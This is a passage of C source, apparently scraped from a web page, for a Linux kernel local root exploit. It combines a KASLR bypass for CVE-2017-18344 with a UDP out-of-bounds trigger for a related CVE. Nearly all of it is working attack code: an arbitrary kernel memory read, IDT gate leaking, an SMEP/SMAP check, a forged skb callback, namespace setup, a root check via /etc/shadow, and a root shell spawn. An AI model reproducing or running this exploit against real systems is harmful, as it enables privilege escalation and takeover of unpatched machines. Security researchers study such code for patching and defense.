right);</span></code><code><span class="code-snippet_outer"> debug2("bvm: start loop!n");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> while (right - left > 1) {</span></code><code><span class="code-snippet_outer"> unsigned long middle = left + (right - left) / 2;</span></code><code><span class="code-snippet_outer"> debug2("bvm: evil range (start->middle)=(0x%lx-0x%lx)n", (start + left * fd_size), (start + middle * fd_size));</span></code><code><span class="code-snippet_outer"> remap_fd_over(fd_evil, fd_size, start + left * fd_size,</span></code><code><span class="code-snippet_outer"> start + middle * fd_size);</span></code><code><span class="code-snippet_outer"> debug2("bvm: good range (middle->end)=(0x%lx-0x%lx)n", (start + middle * fd_size), (start + right * fd_size));</span></code><code><span class="code-snippet_outer"> remap_fd_over(fd_good, fd_size, start + middle * fd_size,</span></code><code><span class="code-snippet_outer"> start + right * fd_size);</span></code><code><span class="code-snippet_outer"> bool probe = bisect_probe();</span></code><code><span class="code-snippet_outer"> if (probe)</span></code><code><span class="code-snippet_outer"> left = middle;</span></code><code><span class="code-snippet_outer"> else</span></code><code><span class="code-snippet_outer"> right = middle;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int rv = munmap((void *)start, end - start);</span></code><code><span class="code-snippet_outer"> if (rv != 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] munmap()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> close(fd_evil);</span></code><code><span class="code-snippet_outer"> close(fd_good);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> return start + left * fd_size;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static unsigned long bisect_via_assign(unsigned long start, unsigned long end) {</span></code><code><span class="code-snippet_outer"> int word_size = sizeof(unsigned long);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> assert((end - start) % word_size == 0);</span></code><code><span class="code-snippet_outer"> assert((end - start) % PAGE_SIZE == 0);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> mmap_fixed(start, end - start);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> unsigned long left = 0;</span></code><code><span class="code-snippet_outer"> unsigned long right = (end - start) / word_size;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> while (right - left > 1) {</span></code><code><span class="code-snippet_outer"> unsigned long middle = left + (right - left) / 2;</span></code><code><span class="code-snippet_outer"> unsigned long a;</span></code><code><span class="code-snippet_outer"> for (a = left; a < middle; a++)</span></code><code><span class="code-snippet_outer"> *(unsigned long *)(start + a * word_size) =</span></code><code><span class="code-snippet_outer"> (unsigned long)evil;</span></code><code><span class="code-snippet_outer"> for (a = middle; a < right; a++)</span></code><code><span class="code-snippet_outer"> *(unsigned long *)(start + a * word_size) =</span></code><code><span class="code-snippet_outer"> (unsigned long)good;</span></code><code><span class="code-snippet_outer"> bool probe = bisect_probe();</span></code><code><span class="code-snippet_outer"> if (probe)</span></code><code><span class="code-snippet_outer"> left = middle;</span></code><code><span class="code-snippet_outer"> else</span></code><code><span class="code-snippet_outer"> right = middle;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int rv = munmap((void *)start, end - start);</span></code><code><span class="code-snippet_outer"> if (rv != 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] munmap()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> return start + left * word_size;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static unsigned long bisect_leak_ptr_addr() {</span></code><code><span class="code-snippet_outer"> unsigned long addr = bisect_via_memfd(</span></code><code><span class="code-snippet_outer"> MEMFD_SIZE, MMAP_ADDR_START, MMAP_ADDR_END);</span></code><code><span class="code-snippet_outer"> addr = bisect_via_memfd(PAGE_SIZE, addr, addr + MEMFD_SIZE);</span></code><code><span class="code-snippet_outer"> addr = bisect_via_assign(addr, addr + PAGE_SIZE);</span></code><code><span class="code-snippet_outer"> return addr;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static int cpuinfo_scan() {</span></code><code><span class="code-snippet_outer"> int length = proc_read(&g_proc_reader, "/proc/cpuinfo");</span></code><code><span class="code-snippet_outer"> char *buffer = &g_proc_reader.buffer[0];</span></code><code><span class="code-snippet_outer"> int rv = 0;</span></code><code><span class="code-snippet_outer"> char* found = memmem(buffer, length, "smep", 4);</span></code><code><span class="code-snippet_outer"> if (found != NULL)</span></code><code><span class="code-snippet_outer"> rv |= CPUINFO_SMEP;</span></code><code><span class="code-snippet_outer"> found = memmem(buffer, length, "smap", 4);</span></code><code><span class="code-snippet_outer"> if (found != NULL)</span></code><code><span class="code-snippet_outer"> rv |= CPUINFO_SMAP;</span></code><code><span class="code-snippet_outer"> found = memmem(buffer, length, "kaiser", 4);</span></code><code><span class="code-snippet_outer"> if (found != NULL)</span></code><code><span class="code-snippet_outer"> rv |= CPUINFO_KAISER;</span></code><code><span class="code-snippet_outer"> found = memmem(buffer, length, " pti", 4);</span></code><code><span class="code-snippet_outer"> if (found != NULL)</span></code><code><span class="code-snippet_outer"> rv |= CPUINFO_PTI;</span></code><code><span class="code-snippet_outer"> return rv;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void cpuinfo_check() {</span></code><code><span class="code-snippet_outer"> int rv = cpuinfo_scan();</span></code><code><span class="code-snippet_outer"> if (rv & CPUINFO_SMAP) {</span></code><code><span class="code-snippet_outer"> info("[-] SMAP detected, no bypass available, abortingn");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void arbitrary_read_init() {</span></code><code><span class="code-snippet_outer"> info("[>] setting up proc readern");</span></code><code><span class="code-snippet_outer"> proc_init(&g_proc_reader);</span></code><code><span class="code-snippet_outer"> info("[+] donen");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> info("[>] checking /proc/cpuinfon");</span></code><code><span class="code-snippet_outer"> cpuinfo_check();</span></code><code><span class="code-snippet_outer"> info("[+] looks goodn");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> info("[>] setting up timern");</span></code><code><span class="code-snippet_outer"> leak_setup();</span></code><code><span class="code-snippet_outer"> info("[+] donen");</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> info("[>] finding leak pointer addressn");</span></code><code><span class="code-snippet_outer"> g_leak_ptr_addr = bisect_leak_ptr_addr();</span></code><code><span class="code-snippet_outer"> info("[+] done: %016lxn", g_leak_ptr_addr);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> info("[>] mapping leak pointer pagen");</span></code><code><span class="code-snippet_outer"> mmap_fixed(g_leak_ptr_addr & ~(PAGE_SIZE - 1), PAGE_SIZE);</span></code><code><span class="code-snippet_outer"> info("[+] donen");</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void read_range(unsigned long addr, size_t length, char *buffer) {</span></code><code><span class="code-snippet_outer"> leak_range(addr, length, buffer);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">struct idt_register {</span></code><code><span class="code-snippet_outer"> uint16_t length;</span></code><code><span class="code-snippet_outer"> uint64_t base;</span></code><code><span class="code-snippet_outer">} __attribute__((packed));</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">struct idt_gate {</span></code><code><span class="code-snippet_outer"> uint16_t offset_1; // bits 0..15</span></code><code><span class="code-snippet_outer"> uint32_t shit_1;</span></code><code><span class="code-snippet_outer"> uint16_t offset_2; // bits 16..31</span></code><code><span class="code-snippet_outer"> uint32_t offset_3; // bits 32..63</span></code><code><span class="code-snippet_outer"> uint32_t shit_2;</span></code><code><span class="code-snippet_outer">} __attribute__((packed));</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static uint64_t idt_gate_addr(struct idt_gate *gate) {</span></code><code><span class="code-snippet_outer"> uint64_t addr = gate->offset_1 + ((uint64_t)gate->offset_2 << 16) +</span></code><code><span class="code-snippet_outer"> ((uint64_t)gate->offset_3 << 32);</span></code><code><span class="code-snippet_outer"> return addr;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static void get_idt(struct idt_register *idtr) {</span></code><code><span class="code-snippet_outer"> asm ( "sidt %0" : : "m"(*idtr) );</span></code><code><span class="code-snippet_outer"> debug1("get_idt_base: base: %016lx, length: %dn",</span></code><code><span class="code-snippet_outer"> idtr->base, idtr->length);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static uint64_t read_idt_gate(int i) {</span></code><code><span class="code-snippet_outer"> char buffer[4096];</span></code><code><span class="code-snippet_outer"> struct idt_register idtr;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> get_idt(&idtr);</span></code><code><span class="code-snippet_outer"> assert(idtr.length <= sizeof(buffer));</span></code><code><span class="code-snippet_outer"> assert(i <= idtr.length / sizeof(struct idt_gate));</span></code><code><span class="code-snippet_outer"> read_range(idtr.base, idtr.length, &buffer[0]);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> struct idt_gate *gate = (struct idt_gate *)&buffer[0] + i;</span></code><code><span class="code-snippet_outer"> uint64_t addr = idt_gate_addr(gate);</span></code><code><span class="code-snippet_outer"> return addr;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// </IDT KASLR bypass></span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// * * * Below is code for CVE-2017-100012 * * * //</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">struct ubuf_info {</span></code><code><span class="code-snippet_outer"> uint64_t callback; // void (*callback)(struct ubuf_info *, bool)</span></code><code><span class="code-snippet_outer"> uint64_t ctx; // void *</span></code><code><span class="code-snippet_outer"> uint64_t desc; // unsigned long</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">struct skb_shared_info {</span></code><code><span class="code-snippet_outer"> uint8_t nr_frags; // unsigned char</span></code><code><span class="code-snippet_outer"> uint8_t tx_flags; // __u8</span></code><code><span class="code-snippet_outer"> uint16_t gso_size; // unsigned short</span></code><code><span class="code-snippet_outer"> uint16_t gso_segs; // unsigned short</span></code><code><span class="code-snippet_outer"> uint16_t gso_type; // unsigned short</span></code><code><span class="code-snippet_outer"> uint64_t frag_list; // struct sk_buff *</span></code><code><span class="code-snippet_outer"> uint64_t hwtstamps; // struct skb_shared_hwtstamps</span></code><code><span class="code-snippet_outer"> uint32_t tskey; // u32</span></code><code><span class="code-snippet_outer"> uint32_t ip6_frag_id; // __be32</span></code><code><span class="code-snippet_outer"> uint32_t dataref; // atomic_t</span></code><code><span class="code-snippet_outer"> uint64_t destructor_arg; // void *</span></code><code><span class="code-snippet_outer"> uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">struct ubuf_info ui;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void init_skb_buffer(char* buffer, unsigned long func) {</span></code><code><span class="code-snippet_outer"> struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;</span></code><code><span class="code-snippet_outer"> memset(ssi, 0, sizeof(*ssi));</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> ssi->tx_flags = 0xff;</span></code><code><span class="code-snippet_outer"> ssi->destructor_arg = (uint64_t)&ui;</span></code><code><span class="code-snippet_outer"> ssi->nr_frags = 0;</span></code><code><span class="code-snippet_outer"> ssi->frag_list = 0;</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> ui.callback = func;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define SHINFO_OFFSET 3164</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void oob_execute(unsigned long payload) {</span></code><code><span class="code-snippet_outer"> char buffer[4096];</span></code><code><span class="code-snippet_outer"> memset(&buffer[0], 0x42, 4096);</span></code><code><span class="code-snippet_outer"> init_skb_buffer(&buffer[SHINFO_OFFSET], payload);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int s = socket(PF_INET, SOCK_DGRAM, 0);</span></code><code><span class="code-snippet_outer"> if (s == -1) {</span></code><code><span class="code-snippet_outer"> perror("[-] socket()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> struct sockaddr_in addr;</span></code><code><span class="code-snippet_outer"> memset(&addr, 0, sizeof(addr));</span></code><code><span class="code-snippet_outer"> addr.sin_family = AF_INET;</span></code><code><span class="code-snippet_outer"> addr.sin_port = htons(8000);</span></code><code><span class="code-snippet_outer"> addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if (connect(s, (void*)&addr, sizeof(addr))) {</span></code><code><span class="code-snippet_outer"> perror("[-] connect()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);</span></code><code><span class="code-snippet_outer"> int rv = send(s, buffer, size, MSG_MORE);</span></code><code><span class="code-snippet_outer"> if (rv != size) {</span></code><code><span class="code-snippet_outer"> perror("[-] send()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int val = 1;</span></code><code><span class="code-snippet_outer"> rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));</span></code><code><span class="code-snippet_outer"> if (rv != 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] setsockopt(SO_NO_CHECK)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> send(s, buffer, 1, 0);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> close(s);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define CHUNK_SIZE 1024</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">int read_file(const char* file, char* buffer, int max_length) {</span></code><code><span class="code-snippet_outer"> int f = open(file, O_RDONLY);</span></code><code><span class="code-snippet_outer"> if (f == -1)</span></code><code><span class="code-snippet_outer"> return -1;</span></code><code><span class="code-snippet_outer"> int bytes_read = 0;</span></code><code><span class="code-snippet_outer"> while (true) {</span></code><code><span class="code-snippet_outer"> int bytes_to_read = CHUNK_SIZE;</span></code><code><span class="code-snippet_outer"> if (bytes_to_read > max_length - bytes_read)</span></code><code><span class="code-snippet_outer"> bytes_to_read = max_length - bytes_read;</span></code><code><span class="code-snippet_outer"> int rv = read(f, &buffer[bytes_read], bytes_to_read);</span></code><code><span class="code-snippet_outer"> if (rv == -1)</span></code><code><span class="code-snippet_outer"> return -1;</span></code><code><span class="code-snippet_outer"> bytes_read += rv;</span></code><code><span class="code-snippet_outer"> if (rv == 0)</span></code><code><span class="code-snippet_outer"> return bytes_read;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define LSB_RELEASE_LENGTH 1024</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void get_distro_codename(char* output, int max_length) {</span></code><code><span class="code-snippet_outer"> char buffer[LSB_RELEASE_LENGTH];</span></code><code><span class="code-snippet_outer"> int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);</span></code><code><span class="code-snippet_outer"> if (length == -1) {</span></code><code><span class="code-snippet_outer"> perror("[-] open/read(/etc/lsb-release)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> const char *needle = "DISTRIB_CODENAME=";</span></code><code><span class="code-snippet_outer"> int needle_length = strlen(needle);</span></code><code><span class="code-snippet_outer"> char* found = memmem(&buffer[0], length, needle, needle_length);</span></code><code><span class="code-snippet_outer"> if (found == NULL) {</span></code><code><span class="code-snippet_outer"> printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-releasen");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> int i;</span></code><code><span class="code-snippet_outer"> for (i = 0; found[needle_length + i] != 'n'; i++) {</span></code><code><span class="code-snippet_outer"> assert(i < max_length);</span></code><code><span class="code-snippet_outer"> assert((found - &buffer[0]) + needle_length + i < length);</span></code><code><span class="code-snippet_outer"> output[i] = found[needle_length + i];</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void get_kernel_version(char* output, int max_length) {</span></code><code><span class="code-snippet_outer"> struct utsname u;</span></code><code><span class="code-snippet_outer"> int rv = uname(&u);</span></code><code><span class="code-snippet_outer"> if (rv != 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] uname())");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> assert(strlen(u.release) <= max_length);</span></code><code><span class="code-snippet_outer"> strcpy(&output[0], u.release);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define DISTRO_CODENAME_LENGTH 32</span></code><code><span class="code-snippet_outer">#define KERNEL_VERSION_LENGTH 32</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void detect_versions() {</span></code><code><span class="code-snippet_outer"> char codename[DISTRO_CODENAME_LENGTH];</span></code><code><span class="code-snippet_outer"> char version[KERNEL_VERSION_LENGTH];</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);</span></code><code><span class="code-snippet_outer"> get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int i;</span></code><code><span class="code-snippet_outer"> for (i = 0; i < ARRAY_SIZE(kernels); i++) {</span></code><code><span class="code-snippet_outer"> if (strcmp(&version[0], kernels[i].version) == 0) {</span></code><code><span class="code-snippet_outer"> printf("[.] kernel version '%s' detectedn", kernels[i].version);</span></code><code><span class="code-snippet_outer"> kernel = i;</span></code><code><span class="code-snippet_outer"> return;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> printf("[-] kernel version not recognizedn");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">#define PROC_CPUINFO_LENGTH 4096</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP</span></code><code><span class="code-snippet_outer">int smap_smep_enabled() {</span></code><code><span class="code-snippet_outer"> char buffer[PROC_CPUINFO_LENGTH];</span></code><code><span class="code-snippet_outer"> int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);</span></code><code><span class="code-snippet_outer"> if (length == -1) {</span></code><code><span class="code-snippet_outer"> perror("[-] open/read(/proc/cpuinfo)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> int rv = 0;</span></code><code><span class="code-snippet_outer"> char* found = memmem(&buffer[0], length, "smep", 4);</span></code><code><span class="code-snippet_outer"> if (found != NULL)</span></code><code><span class="code-snippet_outer"> rv += 1;</span></code><code><span class="code-snippet_outer"> found = memmem(&buffer[0], length, "smap", 4);</span></code><code><span class="code-snippet_outer"> if (found != NULL)</span></code><code><span class="code-snippet_outer"> rv += 2;</span></code><code><span class="code-snippet_outer"> return rv;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void check_smep_smap() {</span></code><code><span class="code-snippet_outer"> int rv = smap_smep_enabled();</span></code><code><span class="code-snippet_outer"> if (rv >= 2) {</span></code><code><span class="code-snippet_outer"> printf("[-] SMAP detected, no bypass availablen");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer">#if !ENABLE_SMEP_BYPASS</span></code><code><span class="code-snippet_outer"> if (rv >= 1) {</span></code><code><span class="code-snippet_outer"> printf("[-] SMEP detected, use ENABLE_SMEP_BYPASSn");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer">#endif</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">static bool write_file(const char* file, const char* what, ...) {</span></code><code><span class="code-snippet_outer"> char buf[1024];</span></code><code><span class="code-snippet_outer"> va_list args;</span></code><code><span class="code-snippet_outer"> va_start(args, what);</span></code><code><span class="code-snippet_outer"> vsnprintf(buf, sizeof(buf), what, args);</span></code><code><span class="code-snippet_outer"> va_end(args);</span></code><code><span class="code-snippet_outer"> buf[sizeof(buf) - 1] = 0;</span></code><code><span class="code-snippet_outer"> int len = strlen(buf);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> int fd = open(file, O_WRONLY | O_CLOEXEC);</span></code><code><span class="code-snippet_outer"> if (fd == -1)</span></code><code><span class="code-snippet_outer"> return false;</span></code><code><span class="code-snippet_outer"> if (write(fd, buf, len) != len) {</span></code><code><span class="code-snippet_outer"> close(fd);</span></code><code><span class="code-snippet_outer"> return false;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> close(fd);</span></code><code><span class="code-snippet_outer"> return true;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void setup_sandbox() {</span></code><code><span class="code-snippet_outer"> int real_uid = getuid();</span></code><code><span class="code-snippet_outer"> int real_gid = getgid();</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if (unshare(CLONE_NEWUSER) != 0) {</span></code><code><span class="code-snippet_outer"> printf("[!] unprivileged user namespaces are not availablen");</span></code><code><span class="code-snippet_outer"> perror("[-] unshare(CLONE_NEWUSER)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> if (unshare(CLONE_NEWNET) != 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] unshare(CLONE_NEWNET)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if (!write_file("/proc/self/setgroups", "deny")) {</span></code><code><span class="code-snippet_outer"> perror("[-] write_file(/proc/self/set_groups)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> if (!write_file("/proc/self/uid_map", "0 %d 1n", real_uid)) {</span></code><code><span class="code-snippet_outer"> perror("[-] write_file(/proc/self/uid_map)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> if (!write_file("/proc/self/gid_map", "0 %d 1n", real_gid)) {</span></code><code><span class="code-snippet_outer"> perror("[-] write_file(/proc/self/gid_map)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> cpu_set_t my_set;</span></code><code><span class="code-snippet_outer"> CPU_ZERO(&my_set);</span></code><code><span class="code-snippet_outer"> CPU_SET(0, &my_set);</span></code><code><span class="code-snippet_outer"> if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] sched_setaffinity()");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> if (system("/sbin/ifconfig lo mtu 1500") != 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] system(/sbin/ifconfig lo mtu 1500)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> if (system("/sbin/ifconfig lo up") != 0) {</span></code><code><span class="code-snippet_outer"> perror("[-] system(/sbin/ifconfig lo up)");</span></code><code><span class="code-snippet_outer"> exit(EXIT_FAILURE);</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void exec_shell() {</span></code><code><span class="code-snippet_outer"> char* shell = "/bin/bash";</span></code><code><span class="code-snippet_outer"> char* args[] = {shell, "-i", NULL};</span></code><code><span class="code-snippet_outer"> execve(shell, args, NULL);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">bool is_root() {</span></code><code><span class="code-snippet_outer"> // We can't simple check uid, since we're running inside a namespace</span></code><code><span class="code-snippet_outer"> // with uid set to 0. Try opening /etc/shadow instead.</span></code><code><span class="code-snippet_outer"> int fd = open("/etc/shadow", O_RDONLY);</span></code><code><span class="code-snippet_outer"> if (fd == -1)</span></code><code><span class="code-snippet_outer"> return false;</span></code><code><span class="code-snippet_outer"> close(fd);</span></code><code><span class="code-snippet_outer"> return true;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">void check_root() {</span></code><code><span class="code-snippet_outer"> printf("[6] checking if we got rootn");</span></code><code><span class="code-snippet_outer"> if (!is_root()) {</span></code><code><span class="code-snippet_outer"> printf("[-] something went wrong =(n");</span></code><code><span class="code-snippet_outer"> return;</span></code><code><span class="code-snippet_outer"> }</span></code><code><span class="code-snippet_outer"> printf("[+] got r00t ^_^n");</span></code><code><span class="code-snippet_outer"> exec_shell();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer">int main(int argc, char** argv) {</span></code><code><span class="code-snippet_outer"> unsigned long int divide_error_addr = 0;</span></code><code><span class="code-snippet_outer"> printf("[^] startingn");</span></code><code><span class="code-snippet_outer"> printf("[=] running KASLR defeat exploit (CVE-2017-18344)n");</span></code><code><span class="code-snippet_outer"> printf("[0] enumerating divide_error() location (CVE-2017-18344)n");</span></code><code><span class="code-snippet_outer"> arbitrary_read_init();</span></code><code><span class="code-snippet_outer"> divide_error_addr = read_idt_gate(0);</span></code><code><span class="code-snippet_outer"> printf("[+] divide_error is at: %lxn", divide_error_addr);</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"> printf("[1] checking distro and kernel versionsn");</span></code><code><span class="code-snippet_outer"> detect_versions();</span></code><code><span 